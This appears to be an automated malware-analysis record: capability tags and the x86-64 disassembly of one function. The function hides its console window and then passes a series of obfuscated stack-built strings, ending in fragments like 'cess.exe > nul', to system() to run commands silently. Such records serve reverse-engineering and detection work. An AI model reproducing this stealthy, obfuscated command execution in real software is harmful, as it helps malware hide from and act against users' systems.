Function at 0x14006e660
Capabilities:
Contain obfuscated stackstrings
Execute command
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x140149ad0]
lea rcx, [rbp - 0x3f]
movdqa xmm1, xmmword [0x1401499e0]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x20], 0x652e7265
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x1c], 0x3e206578
mov dword [rbp - 0x18], 0x6c756e20
mov byte [rbp - 0x14], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140149aa0]
lea rcx, [rbp - 0x3f]
movdqa xmm1, xmmword [0x140149410]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x10], 0x652e4341
movdqa xmm0, xmmword [0x1401498a0]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0xc], 0x3e206578
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 8], 0x6c756e20
mov byte [rbp - 4], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140149a40]
lea rcx, [rbp - 0x3f]
movdqa xmm1, xmmword [0x140149410]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x10], 0x3e206578
movdqa xmm0, xmmword [0x1401499a0]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0xc], 0x6c756e20
movdqu xmmword [rbp - 0x30], xmm1
mov byte [rbp - 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140149a90]
lea rcx, [rbp - 0x3f]
movdqa xmm1, xmmword [0x140149410]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x10], 0x78652e45
movdqa xmm0, xmmword [0x140149880]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0xc], 0x203e2065
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 8], 0x6c756e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140149ab0]
lea rcx, [rbp - 0x3f]
movdqa xmm1, xmmword [0x1401499d0]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x20], 0x78652e72
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x1c], 0x203e2065
mov dword [rbp - 0x18], 0x6c756e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140149a50]
lea rcx, [rbp - 0x3f]
movdqa xmm1, xmmword [0x140149b10]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x20], 0x73736563
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x1c], 0x6578652e
mov dword [rbp - 0x18], 0x6e203e20
mov word [rbp - 0x14], 0x6c75
mov byte [rbp - 0x12], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140149a80]
lea rcx, [rbp - 0x3f]
movdqa xmm1, xmmword [0x1401499b0]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x20], 0x3e206578
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x1c], 0x6c756e20
mov byte [rbp - 0x18], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140149a70]
movdqa xmm1, xmmword [0x1401494d0]
movdqu xmmword [rbp - 0x40], xmm0
movdqu xmmword [rbp - 0x30], xmm1
lea rcx, [rbp - 0x3f]
mov dword [rbp - 0x20], 0x6c756e20
mov byte [rbp - 0x1c], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140149ac0]
lea rcx, [rbp - 0x3f]
movdqa xmm1, xmmword [0x140149a10]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x20], 0x2e736563
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x1c], 0x20657865
mov dword [rbp - 0x18], 0x756e203e
mov word [rbp - 0x14], WSASetLastError
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140149a60]
lea rcx, [rbp - 0x3f]
movdqa xmm1, xmmword [0x140149b40]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x20], WSASetLastError
movdqu xmmword [rbp - 0x30], xmm1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14006b770
xor eax, eax
add rsp, 0x60
pop rbp
ret